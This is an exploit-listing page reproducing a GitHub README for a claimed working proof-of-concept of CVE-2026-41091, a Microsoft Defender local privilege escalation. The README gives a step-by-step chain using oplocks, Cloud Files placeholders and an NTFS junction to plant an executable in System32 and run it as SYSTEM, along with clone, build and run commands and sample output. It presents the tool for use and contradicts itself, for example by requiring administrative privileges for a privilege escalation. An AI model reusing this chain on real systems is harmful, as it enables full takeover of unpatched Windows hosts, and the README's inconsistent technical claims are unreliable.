Sploitus

CVE-2026-41091-PoC-Exploit Full-PoCv2

kitploit Β· 2026-08-20

Exploit Code

MARKDOWN302 lines
## https://sploitus.com/exploit?id=KITPLOIT:POSTS-GITHUB-TC4DY-CVE-2026-41091-POC-EXPLOIT-FULL-POCV2
![SolarFlare](https://assets.kitploit.com/production/public/readmes/33284/ffc33f872422b26beb6a58728702cf01cf636423fce5ab60fd0eeeb9475c5008.png)

# β˜€οΈ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit

![C++](https://img.shields.io/badge/C++-17+-blue.svg) ![Windows](https://img.shields.io/badge/Windows-10+-0078D6.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg) ![CVSS](https://img.shields.io/badge/CVSS-7.8%20High-orange.svg) ![CISA KEV](https://img.shields.io/badge/CISA-KEV-red.svg)

> **Microsoft Defender Link Following Vulnerability** \- Local Privilege Escalation to NT AUTHORITY\SYSTEM

## The vulnerability is known as "RedSun" 🎯, "SolarFlare" is the name I gave to my exploit. βœ…

## πŸ“Œ Overview

This repository contains a **full working Proof of Concept (PoC)** exploit for **CVE-2026-41091** , a critical local privilege escalation vulnerability in Microsoft Defender (Microsoft Malware Protection Engine). By exploiting improper link resolution (CWE-59), an authenticated low-privileged attacker can gain **NT AUTHORITY\SYSTEM** privileges.

The vulnerability, also known as **"RedSun"** or **"SolarFlare"** , allows attackers to trick Microsoft Defender into writing arbitrary files to protected system locations with SYSTEM privileges using Cloud Files API (CfAPI) and NTFS junction points.

> **Note:** This repository includes two versions:
> 
>   * `basic_poc.cpp` \- Simplified algorithm demonstration (educational)
>   * `full_poc.cpp` \- Complete working exploit with all features
> 


### πŸ”₯ Key Features

Category| Features  
---|---  
**Exploitation**|  βœ… Local Privilege Escalation to SYSTEM  
βœ… Cloud Files API (CfAPI) Integration  
βœ… Cloud Placeholder Creation  
βœ… NTFS Junction Redirection  
**Techniques**|  βœ… Batch Oplock Abuse  
βœ… VSS Snapshot Detection  
βœ… EICAR Trigger  
βœ… COM Service Activation  
**Target**|  βœ… Microsoft Defender < 1.1.26040.8  
βœ… Windows 10/11  
βœ… Windows Server 2019/2022  
**Usability**|  βœ… Detailed Logging  
βœ… Error Handling  
βœ… Random Directory Names  
βœ… Automatic Cleanup  
  
## 🎯 Vulnerability Details

Attribute| Value  
---|---  
**CVE ID**|  CVE-2026-41091  
**CVSS Score**|  7.8 (High)  
**CVSS Vector**|  AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  
**Attack Vector**|  Local  
**Privileges Required**|  Low  
**User Interaction**|  None  
**Impact**|  SYSTEM-level code execution  
**CISA KEV**|  βœ… Yes (actively exploited in the wild)  
**Patch Available**|  Microsoft Malware Protection Engine 1.1.26040.8  
  
### πŸ“¦ Affected Products

Product| Affected Versions| Fixed Versions  
---|---|---  
Microsoft Malware Protection Engine| < 1.1.26040.8| 1.1.26040.8+  
Microsoft Defender Antimalware Platform| < 4.18.26040.7| 4.18.26040.7+  
  
## πŸ”¬ Exploit Chain

root@kitploit:~
    
    
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚ SOLARFLARE EXPLOIT CHAIN                                                    β”‚
    β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
    β”‚                                                                              β”‚
    β”‚ 1. Create Working Directory                                                 β”‚
    β”‚    └─> %TEMP%\SF-XXXX\                                                      β”‚
    β”‚                                                                              β”‚
    β”‚ 2. Trigger Defender with EICAR                                              β”‚
    β”‚    └─> Write reversed EICAR to bait file                                    β”‚
    β”‚                                                                              β”‚
    β”‚ 3. Wait for VSS Snapshot                                                    β”‚
    β”‚    └─> Detect Volume Shadow Copy creation                                   β”‚
    β”‚                                                                              β”‚
    β”‚ 4. Create First Batch Oplock                                                β”‚
    β”‚    └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file                              β”‚
    β”‚                                                                              β”‚
    β”‚ 5. Wait for Oplock Break                                                    β”‚
    β”‚    └─> Acquire exclusive access                                             β”‚
    β”‚                                                                              β”‚
    β”‚ 6. Rename Directory                                                         β”‚
    β”‚    └─> Move original directory to .tmp                                      β”‚
    β”‚                                                                              β”‚
    β”‚ 7. Register Cloud Sync Root                                                 β”‚
    β”‚    └─> CfRegisterSyncRoot with Cloud Files API                              β”‚
    β”‚                                                                              β”‚
    β”‚ 8. Create Cloud Placeholder                                                 β”‚
    β”‚    └─> CfCreatePlaceholders for bait file                                   β”‚
    β”‚                                                                              β”‚
    β”‚ 9. Create Second Batch Oplock                                               β”‚
    β”‚    └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder                      β”‚
    β”‚                                                                              β”‚
    β”‚ 10. Wait for Second Oplock Break                                            β”‚
    β”‚     └─> Acquire exclusive access                                            β”‚
    β”‚                                                                              β”‚
    β”‚ 11. Rename Cloud Directory                                                  β”‚
    β”‚     └─> Move cloud directory to .cloud.tmp                                  β”‚
    β”‚                                                                              β”‚
    β”‚ 12. Create NTFS Junction to System32                                        β”‚
    β”‚     └─> Redirect to C:\Windows\System32                                     β”‚
    β”‚                                                                              β”‚
    β”‚ 13. Copy Payload to System32                                                β”‚
    β”‚     └─> Copy bait file to System32 as TieringEngineService.exe              β”‚
    β”‚                                                                              β”‚
    β”‚ 14. Activate Service as SYSTEM                                              β”‚
    β”‚     └─> CoCreateInstance(StorageTiersManagement)                            β”‚
    β”‚                                                                              β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    

## πŸ“¦ Installation

### Prerequisites

  * Windows 10/11 or Windows Server 2019/2022
  * Visual Studio 2019/2022 with C++ tools
  * Administrative privileges (for execution)



### Build

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
    cd CVE-2026-41091-PoC-Exploit
    
    # Build using Visual Studio Developer Command Prompt
    cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
    
    # Or build basic version
    cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
    

## πŸ› οΈ Usage

### Full Exploit (SYSTEM Privilege Escalation)

root@kitploit:~
    
    
    full_poc.exe
    

### Basic Algorithm Demonstration

root@kitploit:~
    
    
    basic_poc.exe
    

## πŸ“‹ Example Output

### Full Exploit Output

root@kitploit:~
    
    
    CVE-2026-41091 SolarFlare PoC
    ===============================
         by @tc4dy | CVSS 7.8
    ===============================
    
    [*] SolarFlare exploit started.
    [*] Creating working directory...
    [+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
    [*] Triggering Defender with EICAR...
    [+] Defender triggered
    [*] Waiting for VSS snapshot...
    [+] VSS snapshot detected
    [*] Creating first oplock...
    [+] First oplock created
    [*] Waiting for oplock break...
    [+] Oplock acquired
    [*] Renaming directory...
    [+] Directory renamed
    [*] Creating second oplock...
    [+] Second oplock created
    [*] Waiting for second oplock...
    [+] Second oplock acquired
    [*] Renaming cloud directory...
    [+] Cloud directory renamed
    [*] Creating NTFS junction to System32...
    [+] Junction created
    [*] Waiting for Defender to finish...
    [*] Copying payload to System32...
    [+] Payload copied to C:\Windows\System32\TieringEngineService.exe
    [*] Activating Storage Tiers Management service...
    [+] Service activated as SYSTEM
    
    [+] SYSTEM access obtained!
    

### Basic PoC Output

root@kitploit:~
    
    
    CVE-2026-41091 Basic PoC
    ========================================
      Algorithm Demonstration Only
    ========================================
    [*] Starting exploit algorithm...
    [*] Creating working directory...
    [+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
    [*] Triggering Defender with EICAR...
    [+] Defender triggered
    [*] Waiting for VSS snapshot...
    [+] VSS detected
    [*] Creating first oplock...
    [+] First oplock created
    [*] Waiting for oplock break...
    [+] Oplock acquired
    [*] Renaming directory...
    [+] Directory renamed
    [*] Creating second oplock...
    [+] Second oplock created
    [*] Waiting for second oplock...
    [+] Second oplock acquired
    [*] Creating NTFS junction to System32...
    [+] Junction created
    [*] Waiting for Defender to finish...
    [*] Copying payload to System32...
    [+] Payload copied to C:\Windows\System32\Payload.exe
    
    [+] Algorithm demonstration completed!
    [i] This is only the basic algorithm.
    [i] For full SYSTEM privilege escalation,
    [i] use full_poc.cpp with Cloud API and COM activation.
    

## πŸ”§ Build Instructions

### Using Visual Studio

  1. Open Developer Command Prompt for VS 2022
  2. Navigate to the exploit directory
  3. Run:



root@kitploit:~
    
    
    # Full exploit
    cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
    
    # Basic PoC
    cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
    

### Using CMake

root@kitploit:~
    
    
    cmake_minimum_required(VERSION 3.10)
    project(SolarFlare)
    
    set(CMAKE_CXX_STANDARD 17)
    
    add_executable(full_poc full_poc.cpp)
    target_link_libraries(full_poc cfapi ntdll)
    
    add_executable(basic_poc basic_poc.cpp)
    target_link_libraries(basic_poc ntdll)
    

## ⚠️ Requirements & Limitations

Requirement| Details  
---|---  
**OS**|  Windows 10/11, Server 2019/2022  
**Privileges**|  Administrative (for execution)  
**Defender**|  Microsoft Defender must be enabled  
**Internet**|  Required for VSS snapshot detection  
**Patch**|  Only works on unpatched systems  
**Architecture**|  x64 only  
  
## πŸ”— Related Exploits

Check out my other exploit repositories:

  * CVE-2026-24061-PoC-Exploit \- GNU inetutils-telnetd Auth Bypass
  * CVE-2026-41940-PoC-Exploit \- cPanel/WHM Authentication Bypass Exploit
  * CVE-2026-0073-PoC-Exploit \- Android ADB Wireless Debugging Auth Bypass



Read more